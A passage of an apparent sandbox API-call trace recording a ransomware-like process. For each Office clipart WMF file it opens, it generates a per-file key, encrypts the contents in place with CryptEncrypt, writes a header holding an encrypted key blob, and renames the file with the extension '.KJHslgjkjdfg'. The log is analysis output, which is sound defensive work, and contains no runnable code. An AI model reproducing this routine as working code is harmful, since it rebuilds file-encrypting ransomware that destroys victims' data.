lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.962] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.962] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.962] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.962] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.962] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13b8, lpOverlapped=0x0) returned 1 [0180.966] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13c0, dwBufLen=0x13c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13c0) returned 1 [0180.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.966] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13c0, lpOverlapped=0x0) returned 1 [0180.966] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.966] SetEndOfFile (hFile=0x114) returned 1 [0180.969] GetProcessHeap () returned 0x2a0000 [0180.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.969] GetProcessHeap () returned 0x2a0000 [0180.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.kjhslgjkjdfg")) returned 1 [0180.971] CloseHandle (hObject=0x114) returned 1 [0180.971] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0180.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.972] GetProcessHeap () returned 0x2a0000 [0180.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.973] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.975] GetProcessHeap () returned 0x2a0000 [0180.975] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.975] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.976] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.976] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1284, lpOverlapped=0x0) returned 1 [0180.977] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1290, dwBufLen=0x1290 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1290) returned 1 [0180.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.977] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1290, lpOverlapped=0x0) returned 1 [0180.977] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.977] SetEndOfFile (hFile=0x114) returned 1 [0180.980] GetProcessHeap () returned 0x2a0000 [0180.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.980] GetProcessHeap () returned 0x2a0000 [0180.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.kjhslgjkjdfg")) returned 1 [0180.982] CloseHandle (hObject=0x114) returned 1 [0180.982] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0180.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.983] GetProcessHeap () returned 0x2a0000 [0180.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.983] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.983] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.986] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.986] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.986] GetProcessHeap () returned 0x2a0000 [0180.986] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.986] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.986] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.986] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.987] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.987] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.987] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16fc, lpOverlapped=0x0) returned 1 [0180.988] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1700, dwBufLen=0x1700 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1700) returned 1 [0180.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.988] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1700, lpOverlapped=0x0) returned 1 [0180.988] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.988] SetEndOfFile (hFile=0x114) returned 1 [0180.991] GetProcessHeap () returned 0x2a0000 [0180.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.991] GetProcessHeap () returned 0x2a0000 [0180.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.kjhslgjkjdfg")) returned 1 [0180.993] CloseHandle (hObject=0x114) returned 1 [0180.994] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0180.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.995] GetProcessHeap () returned 0x2a0000 [0180.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.995] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.997] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.997] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.997] GetProcessHeap () returned 0x2a0000 [0180.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.997] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.997] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.997] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.998] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.998] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.998] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.998] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.998] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1294, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1294, lpOverlapped=0x0) returned 1 [0181.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12a0, dwBufLen=0x12a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12a0) returned 1 [0181.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.000] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12a0, lpOverlapped=0x0) returned 1 [0181.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.000] SetEndOfFile (hFile=0x114) returned 1 [0181.015] GetProcessHeap () returned 0x2a0000 [0181.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.016] GetProcessHeap () returned 0x2a0000 [0181.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.kjhslgjkjdfg")) returned 1 [0181.017] CloseHandle (hObject=0x114) returned 1 [0181.017] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0181.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.020] GetProcessHeap () returned 0x2a0000 [0181.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.020] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.020] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.023] GetProcessHeap () returned 0x2a0000 [0181.023] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.023] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.023] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.023] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.024] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.024] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.024] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.024] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 